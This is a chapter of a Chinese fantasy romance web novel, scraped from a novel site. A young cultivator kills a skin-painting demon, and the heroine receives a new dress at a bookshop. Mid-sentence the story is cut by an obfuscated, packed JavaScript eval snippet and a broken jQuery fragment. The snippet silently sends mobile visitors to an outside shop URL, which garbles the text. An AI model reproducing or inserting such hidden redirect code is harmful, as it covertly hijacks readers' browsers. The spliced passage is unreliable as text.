文趣网 > 其他小说 > 梦里亲了剑修一下后 > 8. 新裙子
    08

    这是一只画皮妖,不过由于技术太差,只画出了他的容貌,没能画出他的骨相。

    不确定是否是潜入蓬莱月阁偷走青陵粉蝶的那只,但看它周身散发出的浓郁秽气,应该和罪恶渊薮脱不了干系。

    对于沾染了秽气还和罪恶渊薮勾结的妖怪,宋冬凛一向懒得废话,直接拎起剑将它捅了个对穿,不过他并没有立刻杀死它,因为他有些疑惑还需要这只妖怪为他解答。

    “你来自罪恶渊薮,青陵粉蝶是你偷走的?那只三尾妖狐派你偷走青陵粉蝶的目的究竟是什么?”

    “从进门开始你的目标就是杀了那个又蠢又笨的凡人,为什么?她身上有什么特殊之处吗?”

    宋冬凛不太确这只画皮妖是否知道他和温酌春被种上青陵粉蝶的事,所以用了试探的语气。

    温酌春在拍打黑气的短暂空隙里,对这句“又蠢又笨”表达了抗议:“林冬,你骂妖怪就骂妖怪,干嘛这么讲我!”

    宋冬凛不想理她,用力转了下长剑,画皮妖痛得大声哀嚎,温酌春被突然响起的惨叫声吓得身体一个激灵,连忙捂住耳朵。

    “告诉我,我可以让你死得痛快些。”他冷漠地说。

    “命运,是命运!烬大人看到了命运的指示!”画皮妖痛得扭作一团,但嘴上仍然大声叫喊着,“你们的命运已经连在一起,接下来罪恶渊薮散落在外的臣民,将无止尽地追杀她。你最好祈祷自己永远能护住她,否则——”

    画皮妖的声音戛然而止,宋冬凛面无表情地抽回剑,掐出道火将画皮妖留下的画皮焚毁。

    周围的黑气连同画皮妖的画皮一起消失,温酌春缓慢放下捂着耳朵的手,轻拍着胸口试图缓和紧张的心跳。

    太吓人了。

    不过,那什么“命运的指示”,怎么听起来一股中二味?

    妖怪也会犯中二病吗?

    还有罪恶渊薮,这名字听起来就很像反派组织啊?难道她和林冬被种下同生共死、祸福同享的青陵粉蝶并不是意外,而是他们计划的一环吗?

    唉,想不明白。

    她只是一个才高中毕业的青春美少女,跟活了几百年的妖怪们玩智斗?玩不过的啦。

    温酌春一时间也分不出她和少年谁更倒霉些,一个是莫名其妙掉进异世界意外和土著居民共享命运,从而要被妖怪们追杀的青春美少女,一个是自由自在的少年修道者,却因为随手救下了一个凡人少女,而被迫要和她同生共死。

    总结——两个倒霉蛋。

    温酌春在心里惆怅地叹了口气。

    这场战斗——也可以说是少年单方面的绞杀——结束得很快,并没有引起周围居民的注意。温酌春捡起掉在地上的剑鞘,小跑到少年身边,月光与火焰交织映照在少年身上,他脸上是她从未见过的冷峻,一双好看的睡凤眼微微下垂,薄唇近乎抿成直线。

    “林冬,”温酌春小心翼翼地戳了下少年的胳膊,小声说:“你的剑鞘还给你喔。”

    宋冬凛心不在焉地“嗯”了声,说:“你去睡觉吧。”

    他需要一个人静一下。

    “喔,那你也早点睡。”

    温酌春觉得他现在的状态有点吓人,连忙挥手同他告别,三步并作两步飞快地跑回了自己房间里。

    由于早上在外面玩累了,又受到了不小的惊吓,她今晚不仅入睡得很慢,还做了一个很可怕的梦,梦里的各种奇形怪状的妖怪一直追着她杀,从古代世界追到现代世界,她在下班高峰期的车流中狂奔着,妖怪们在鳞次栉比的高楼大厦上方穿梭着,她跑到警察局大喊救命,值班的正好是她老爸,温警官掏出别在腰间的枪,对着天空中的妖怪就是砰砰两枪,妖怪们顿时像泄了气的气球,无力地飘落在地,然后被马路上呼啸而过的小汽车碾进柏油路的缝隙里。

    温酌春还没来得及说句“老爸你真厉害不愧是光荣的人民警察我要给你送锦旗”,梦就醒了。

    这时候天也亮了。

    温酌春坐直身体,捂着胸口大口喘着气,这个梦实在太吓人了,她被吓出了一身冷汗,浸了汗水的衬衣贴在肌肤上,难受极了。

    “阿春姑娘,你醒了吗?”

    门口有人在喊她。

    是林冬他三表婶的声音。

    温酌春深吸了口气,平复心情后才起身去开门。

    “阿婶早呀。”她笑着问好。

    “阿春姑娘早。”妇人温柔笑了笑,将怀里抱着的粉色裙子递给她,“林冬说你的裙子昨天被妖怪弄坏了,这是我之前给我表侄女做的一件裙子,不过她现在长大了,穿不了了。阿春姑娘看看合不合身,如果不合身的话就告诉我一下,书铺里有针线,大小都是可以改的。”

    温酌春愣了一下才想起去接裙子,她摸着新裙子柔软的布料,感动地说:“阿婶,谢谢你。你真是个好人。”

    “不用客气。”妇人微笑着说,“换好后就到前院一起吃早饭吧。”

    “好!”

    温酌春抱着裙子回了房间,轻轻关上门。

    前院,牵牛花架前的石桌上已经摆好了热气腾腾的饭菜和四双碗筷,石桌边,蓝袍玉冠的少年和中年大叔面对面坐着,互相不说话。

    半晌,还是金主事先打破平静:“少宗主,你这是怎么了?”

    他看着面前昨天还神采飞扬,今早却无精打采,眉头紧锁的少年,本着长辈关心晚辈的心态,好奇问了一嘴。

    “做了个奇怪的梦。”

    宋冬凛没有过多解释是个什么样的奇怪的梦,扫了眼桌上的饭菜,指着其中一碗牛肉面说,“爱哭鬼不吃葱花。”

    金主事:“……?”

    这两件事之间有什么必然的联系吗?

    他看了眼牛肉面,又看了眼少年,试探问:“那我去重下一碗?”

    “嗯。”少年喉间挤出一个没有情绪起伏的单音节。

    “……”

    不加葱花的牛肉面端上来时,换好新裙子的温酌春也蹦跳着来到了前院。

    “林冬林冬!”温酌春小跑到他面前,笑盈盈地同他打招呼,“早上好呀!”

    少女穿着做工精细的粉色裙子,领口处绣着的海棠花很符合她灿烂明媚的气质;未束紧的长发被突如其来的晨风吹散,似烟雾般飘荡在晨光下。

    就是人有点太笨了,左右衽又穿反了。

    宋冬凛偏过头去,淡淡应了声:“早上好。”

    ……

    吃过早饭后,温酌春跟着芙娘一起去厨房收拾碗筷,而宋冬凛则随着金主事去到前院。

    金元宝一脸心疼地看着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964253|214429||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    倒塌的院墙和门窗,嘴里叨叨着:“维修门窗,重新砌墙,购置新的鲜花……怎么说也得七八两银子了,我这书铺一个月都赚不到那么多……”

    宋冬凛听不下去了:“你一天阁主事,差这点钱?”

    金元宝:“一码归一码嘛。天阁主事的俸禄和书铺的营收可不能混为一谈。”

    宋冬凛:“……”

    他沉默了下,扯下腰间钱袋,从里面取出十两银子丢给他。

    金元宝正要说谢谢,少年又往他怀里丢了十两银子,他疑惑:“……这是?”

    宋冬凛:“……裙子的钱。”

    “还有,”他顿了下,又说,“你下次可以给你的傀儡换一张脸吗?归雪芙已经死了很久了,就算傀儡再像她,也不可能成为她的。”

    金主事没有反驳,中年胖大叔眯起眼睛看着天空,深深叹了口气:“少宗主,人的记忆和情感是会随着时间逐渐淡化的,如果我不时时刻刻见到她,我恐怕会在将来的某一天,将我曾经与她一起经历过的所有美好与痛苦全部遗忘。”

    “而我并不想忘记芙娘。”

    ……

    在金钱力量的加持下,修院墙和门窗的工人动作很快,不过一个上午的功夫,书铺外观便恢复成了原来的样子,几乎看不出来妖怪来过的痕迹。

    午饭时,芙娘烧了丝瓜汤、清炒茭白和油焖鸡。

    在场另外三人,两人早已辟谷,一人则是傀儡,皆无需进食,不过为了不让温酌春看出异常,金元宝还是操纵芙娘,让她吃了小半碗饭,同时自己也夹了一筷子丝瓜——很淡,没什么味道。

    金元宝不懂,为什么温酌春吃得这么香,瘦瘦小小的姑娘居然吃掉了两大碗米饭,真叫人咂舌。

    宋冬凛面色如常,早在第一次见她时,她当着他的面吃掉了十个馒头后,他就对她的饭量有了清晰的认知:堪比饕餮转世。

    饭后,温酌春又问起了解开青陵粉蝶一事。

    “林冬,我们什么时候出发去星萼城呀?”

    少年没有立刻回答,温酌春问了一遍,心想他怎么一点儿都不着急呢。

    宋冬凛:“明天。”

    “明天什么时候呀?”

    “早晨。”

    “早晨几点呀?”

    “……‘几点’是什么意思?”

    “呃,就是什么时辰的意思。”

    “……太阳出来我们就出发。”

    “好耶!”少女高兴地拍了拍手,说:“那我先去收拾东西!”

    宋冬凛敷衍点头。

    不过少女才离开一会儿,又跑了回来,站在他面前,一副欲言又止的模样。

    宋冬凛:“……你有话就直说。”

    温酌春嘿嘿笑了声,有点不好意思地说:“林冬林冬,你的法术好厉害,能不能教教我呀?”

    会法术实在太方便了。如果她也会的话,找回家的办法是不是就更容易了?

    温酌春期待地看着他。

    然而少年只是淡淡瞥了她一眼,毫不留情地拒绝了:“我暂时没有收徒的打算。”

    温酌春:“……?”

    不是,谁说要拜他为师了?

    “小气鬼!”

    她扭头就走,并发誓今天晚饭前绝不会再跟他讲一句话!